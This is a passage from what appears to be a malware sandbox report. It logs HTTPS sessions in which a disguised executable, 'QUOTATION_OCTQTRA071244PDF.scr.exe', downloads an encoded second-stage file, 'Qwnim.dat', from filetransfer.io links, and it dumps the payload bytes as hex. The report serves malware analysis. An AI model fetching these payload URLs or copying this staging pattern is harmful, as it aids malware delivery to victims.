da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:26:41 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50288	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:43 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:44 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=0kbrmk2r9npdc76bacu3jr5u68; expires=Fri, 18-Oct-2024 09:26:44 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/JLKER12CLEEH CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uU8IfKbl1RfQUeKpPJh3Itz28gp%2FFKIarrTJpAPef%2BFJ%2BflNXZKL6wC53dS5qsn0cYqfgGh8%2BuXi8Bvxgiq0LyQ09cdwSPAOmZlowuoJYwqC48upq25hu1mpJjzdqj34wA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421cc9bcbde97-EWR
2024-10-04 09:26:44 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 4a 4c 4b 45 52 31 32 43 4c 45 45 48 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/JLKER12CLEEH">Please click here to continue</a>.</p>
2024-10-04 09:26:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50289	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:45 UTC	98	OUT	GET /storage/download/JLKER12CLEEH HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:46 UTC	1052	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:45 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=e69a09a2e71a4b37cd1e58d8b9e6c376; expires=Fri, 18-Oct-2024 09:26:45 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ES90mIqcLPt50mBJIss4%2FgdZRiBA2MfDULYhFZ%2FleLQShpzvPegqLMPsXKu9mvFCx9kiv%2BDMDaAxyf%2Bax55WezPzVkVBntLP1xmTnpIb5KizFFdqu6CkTzPjm2FlFO5ifp22f0MO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421d4cc7542a9-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:26:46 UTC	317	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: b1 57 7c 19 01 a6 7d b7 39 12 c5 6d b5 8e 3f d7 5d d8 04 24 0b f3 31 0d 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf Data Ascii: W\|}9m?]$1IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: f7 2c 18 09 96 75 a1 f0 db df 5f f9 0d 8d 87 b3 97 eb 10 2d 5a 3f ac b1 f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df Data Ascii: ,u_-Z?GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0h
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: b0 1b da c8 3d ca bb 55 29 e6 7c 29 83 10 6c bc 8d 29 14 72 9b 9e 4a 72 f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 Data Ascii: =U)\|)l)rJrXp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: 22 e5 fa a5 31 da 05 67 3e 2f 39 cc 25 85 1b 7b 64 87 02 5e d4 e4 04 db 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c Data Ascii: "1g>/9%{d^}Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: ac cd dc a8 5b 71 39 a8 c8 a1 87 bf 2e 2d 7b 90 86 22 cd 9e 89 12 6f 80 b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 Data Ascii: [q9.-{"oLB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMU
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: 7a a4 9d b8 f8 5f b0 26 08 84 e2 26 75 5d b1 ac 05 b2 a5 dd f9 ff 83 5e 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 Data Ascii: z_&&u]^#IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FW
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: 5c 07 25 a2 f9 0b f5 32 b9 99 24 40 06 33 14 a2 41 e1 7b 04 3a 5d fd 11 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb Data Ascii: \%2$@3A{:]8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: e1 88 c0 14 02 f8 75 24 d0 50 17 ce 42 84 b6 c1 af 80 b9 1d eb 54 7c 85 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca Data Ascii: u$PBT\|u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Q
2024-10-04 09:26:46 UTC	1369	IN	Data Raw: 29 6e ce f0 8e 4a 59 e2 e1 72 61 d1 32 0c 8d 14 f6 a2 7e 93 61 ac 3d b3 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 Data Ascii: )nJYra2~a=$dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50292	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:48 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:49 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=fmkjja32r9vjf0qk75tjgaep1o; expires=Fri, 18-Oct-2024 09:26:48 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/JNVqWjkJZeyM CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2FukJn2WmUF73PRvJ9ipn5hxMULZh2DmVujsJtnf2vqDZwwfNKH6szVi3bhp%2B5C3mJzmzwaohqZVe5A0dnQSBBsL4qCDeAB9p4ESR6JRmVIJMf%2B40u0UsWKYx%2B5uKjAwMFY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421eb2c688c96-EWR
2024-10-04 09:26:49 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 4a 4e 56 71 57 6a 6b 4a 5a 65 79 4d 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/JNVqWjkJZeyM">Please click here to continue</a>.</p>
2024-10-04 09:26:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50293	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:49 UTC	98	OUT	GET /storage/download/JNVqWjkJZeyM HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:50 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:50 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=f8fdebee12f3e6404793db532f25e194; expires=Fri, 18-Oct-2024 09:26:50 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: 